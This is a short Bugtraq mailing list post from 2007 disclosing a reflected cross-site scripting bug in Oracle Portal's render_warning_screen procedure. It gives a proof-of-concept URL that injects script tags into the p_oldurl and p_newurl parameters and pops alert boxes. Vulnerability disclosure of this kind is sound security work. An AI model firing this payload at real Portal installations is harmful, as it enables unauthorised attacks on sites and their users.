Bugtraq mailing list archives

Oracle Portal PORTAL.wwv_main.render_warning_screen XSS

From: "Sea Shark" <sead3nx () gmail com>
Date: Fri, 16 Mar 2007 14:17:53 +0200

Hi All,

During pentest i have noticed XSS bug in
PORTAL.wwv_main.render_warning_screen application of oracle portal.

http://somesite/pls/portal/PORTAL.wwv_main.render_warning_screen?p_oldurl=&apos;
<script>alert('inT')</script>&p_newurl='<script>alert('ellect')</script>

Greets,
d3nx

Current thread:

Oracle Portal PORTAL.wwv_main.render_warning_screen XSS Sea Shark (Mar 16)